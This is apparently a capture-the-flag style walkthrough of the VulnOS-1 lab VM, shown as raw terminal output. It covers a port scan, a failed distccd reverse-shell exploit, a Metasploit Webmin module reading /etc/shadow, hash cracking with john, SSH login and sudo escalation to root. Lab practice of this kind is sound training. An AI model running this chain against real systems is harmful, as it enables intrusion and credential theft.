C:\Users\HASEE>nmap -p- -v -sV 192.168.56.124 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.7.0-P1 80/tcp open http Apache httpd 2.2.14 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell Netkit rshd 901/tcp open http Samba SWAT administration server 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d 2000/tcp open sieve Dovecot timsieved 2049/tcp open nfs 2-4 (RPC #100003) 3306/tcp open mysql MySQL 5.1.73-0ubuntu0.10.04.1 3632/tcp open tcpwrapped 6667/tcp open irc IRCnet ircd 8070/tcp open ucs-isc? 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 10000/tcp open http MiniServ 0.01 (Webmin httpd) 33370/tcp open mountd 1-3 (RPC #100005) 56041/tcp open status 1 (RPC #100024) 56144/tcp open nlockmgr 1-4 (RPC #100021)
1 2 3
root@kali:~# nmap -T4 -p 3632 -v 192.168.56.124 PORT STATE SERVICE 3632/tcp open distccd
[*] Started reverse TCP double handler on 192.168.56.102:3456 [-] 192.168.56.124:3632 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer [*] Exploit completed, but no session was created.
root@kali:~/vulnhub/vulnos-1# john pass --wordlist=/root/vulnhub/vulnos-1/wordlist Using default input encoding: UTF-8 Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 44 candidates left, minimum 1024 needed for performance. canuhack (nagiosadmin) 1g 0:00:00:00 DONE (2020-04-17 03:25) 100.0g/s 4400p/s 4400c/s 4400C/s root..canuhack Use the "--show" option to display all of the cracked passwords reliably Session completed
Name Current Setting Required Description ---- --------------- -------- ----------- DIR /unauthenticated yes Webmin directory path Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.56.124 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPATH /etc/shadow yes The file to download RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host
Auxiliary action:
Name Description ---- ----------- Download
msf5 auxiliary(admin/webmin/file_disclosure) > run [*] Running module against 192.168.56.124
root@kali:~/vulnhub/vulnos-1# cat pass2 vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXaghLmo/root@kali:~/vulnhub/vulnos-1# john pass2 --wordlist=/root/vulnhub/vulnos-1/wordlist Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status canuhackme (vulnosadmin) 1g 0:00:00:00 DONE (2020-04-17 03:52) 50.00g/s 2200p/s 2200c/s 2200C/s root..canuhackme Use the "--show" option to display all of the cracked passwords reliably Session completed
root@kali:~# ssh vulnosadmin@192.168.56.124 Enter passphrase for key '/root/.ssh/id_rsa': vulnosadmin@192.168.56.124's password: Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux Ubuntu 10.04.4 LTS Welcome to Ubuntu! * Documentation: https://help.ubuntu.com/ System information as of Fri Apr 17 09:55:15 CEST 2020 System load: 0.0 Processes: 141 Usage of /: 16.3% of 23.06GB Users logged in: 0 Memory usage: 38% IP address for eth0: 192.168.56.124 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ New release 'precise' available. Run 'do-release-upgrade' to upgrade to it. Last login: Wed Mar 19 17:31:44 2014 from 192.168.1.3 vulnosadmin@VulnOS:~$ id uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1000(vulnosadmin) vulnosadmin@VulnOS:~$ whoami vulnosadmin vulnosadmin@VulnOS:~$ sudo -l [sudo] password for vulnosadmin: Matching Defaults entries for vulnosadmin on this host: env_reset User vulnosadmin may run the following commands on this host: (ALL) ALL vulnosadmin@VulnOS:~$ su Wachtwoord: su: Authenticatie fout vulnosadmin@VulnOS:~$ sudo su root@VulnOS:/home/vulnosadmin# id uid=0(root) gid=0(root) groepen=0(root) root@VulnOS:/home/vulnosadmin# whoami root root@VulnOS:/home/vulnosadmin# cd /root root@VulnOS:~# ls hello.txt root@VulnOS:~# cat hello.txt Hello, So you got root... You still need to find the rest of the vulnerabilities inside the OS ! TRY HARDER !!!!!!!
